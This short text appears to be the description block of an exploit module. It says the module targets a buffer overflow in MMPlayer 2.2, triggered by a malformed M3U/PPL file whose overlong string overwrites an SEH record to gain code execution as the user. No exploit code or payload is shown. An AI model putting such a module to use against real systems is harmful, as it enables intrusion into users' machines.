        This module exploits a buffer overflow in MMPlayer 2.2
        The vulnerability is triggered when opening a malformed M3U/PPL file
        that contains an overly long string, which results in overwriting a
        SEH record, thus allowing arbitrary code execution under the context
        of the user.
